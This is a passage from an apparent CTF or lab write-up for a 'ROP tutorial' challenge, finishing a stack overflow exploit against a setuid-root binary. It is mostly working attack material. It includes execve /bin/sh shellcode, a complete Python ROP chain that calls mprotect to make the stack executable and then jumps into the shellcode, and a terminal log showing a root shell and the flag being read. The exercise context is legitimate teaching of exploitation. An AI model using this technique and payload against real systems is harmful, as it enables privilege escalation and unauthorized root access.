[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[.....]!
Trace/breakpoint trap (core dumped)

Inspecting core dump shows that we hit the SIGTRAP shellcode.

level0@rop:/tmp$ gdb ./level2 -q core
Reading symbols from ./level2...(no debugging symbols found)...done.
[New LWP 8051]
Core was generated by `./level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAA'.
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0  0xbffff5f1 in ?? ()
gdb-peda$

And we succesfully hit the shellcode and we can execute from stack. The only thing remaining is to replace the shellcode with real shellcode and gain code execution.

Final Exploit PoC

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
gdb-peda$

Full exploit code to give root shell.

import struct

def p(a):
        return struct.pack('<I', a)

pop_eax_ebx_esi_edi_ret = 0x0808479a
pop_ecx_ebx_ret = 0x0805249d
pop_edx_ret = 0x08052476
pop_ebx_ret = 0x0805249e

dec_ebx_ret = 0x0804f871

int_80_ret = 0x08052ba0
push_esp_ret = 0x0804eea0

fake_ret = 0xcafebabe

add_eax_5d5bc031_ret = 0x0806754a


stack_addr = 0xbffdf001 # changed from 0xbffdf000 to avoid null byte

#shellcode = "\xcc" * 256
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

payload = "A"*44


# sys_mprotect
# EAX = 125 or 0x7d
# EBX = stack address for making RWX
# ECX = length ; 0x21000
# EDX = prot; RWX - 0x7


# Step 1 
# setup ecx = 0x21000
# 0x0805ea2c: add ecx, eax; mov eax, ecx; pop ebx; pop esi; pop ebp; ret; 
# 0x800107ff + 0x80010801 = 0x100021000

payload += p(pop_ecx_ebx_ret)
payload += p(0x800107ff)        # ecx = 0x800107ff
payload += p(0x41414141)        # junk ebx

payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0x80010801)        # eax = 0x80010801;
payload += p(0x41414141)        # junk ebx
payload += p(0x41414141)        # junk esi
payload += p(0x41414141)        # junk edi

# add ecx, eax
payload += p(0x0805ea2c)        # add ecx, eax; mov eax, ecx; pop ebx; pop esi; pop ebp; ret;
payload += p(0x41414141)        # junk ebx
payload += p(0x41414141)        # junk esi
payload += p(0x41414141)        # junk ebp

# Step 2
# setup eax = 0x7d
# calculating eax value
# 0xffffffff - 0x5d5bc031 = 0xa2a43fce
# 0xa2a43fce + 0x5d5bc031 + 0x7d + 1 = 0x10000007d
# 0xa2a43fce + 0x7d + 1 = 0xa2a4404c

payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0xa2a4404c)                # eax = 0xa2a4404c;
payload += p(0x41414141)        # junk ebx
payload += p(0x41414141)        # junk esi
payload += p(0x41414141)        # junk edi

payload += p(add_eax_5d5bc031_ret)

# Step 3
# setup ebx = 0xbffdf000

payload += p(pop_ebx_ret)
payload += p(stack_addr)        # ebx = stack addr

# $ ropper --file ./level2 --search "dec ebx"
# 0x0804f871: dec ebx; ret;
payload += p(dec_ebx_ret)       # ebx => 0xbffdf001 - 1 = 0xbffdf000 ; stack address

# Step 4
# setup edx = 0x7

payload += p(pop_edx_ret)
payload += p(0xffffffff)               # edx = 0x7; RWX

# 0x0804b120: inc edx; cld; pop ebp; ret; 
inc_edx_cld_pop_ebp_ret = 0x0804b134

payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 0
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 1
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 2
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 3
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 4
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 5
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 6
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret)   # edx = 7
payload += p(0x41414141)


#payload += p(fake_ret)
payload += p(int_80_ret)       # call mprotect
payload += p(push_esp_ret)     # return to stack

payload += shellcode

print (payload)

Running the final exploit against the challenge.

level0@rop:/home/level2$ ./level2 $(python /tmp/poc.py)
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAA�AAAAAAAAAAAA,AAAAAAAAAAAAL@��AAAAAAAAAAAAJ����qv����4AAAA4AAAA4AAAA4AAAA4AAAA4AAAA4AAAA4AAAA��1�Ph//shh/bin��1ɉ�j
                                                                                                                                                                                                               X!
# id
uid=1000(level0) gid=1000(level0) euid=0(root) groups=0(root),1000(level0)
# whoami
root
# ls -l         
total 588
-rw-r----- 1 root root     27 Jan 20  2015 flag
-rwsr-xr-x 1 root root 595252 Jan 20  2015 level2
# cat flag
flag{to_rop_or_not_to_rop}
# pwd
/home/level2
#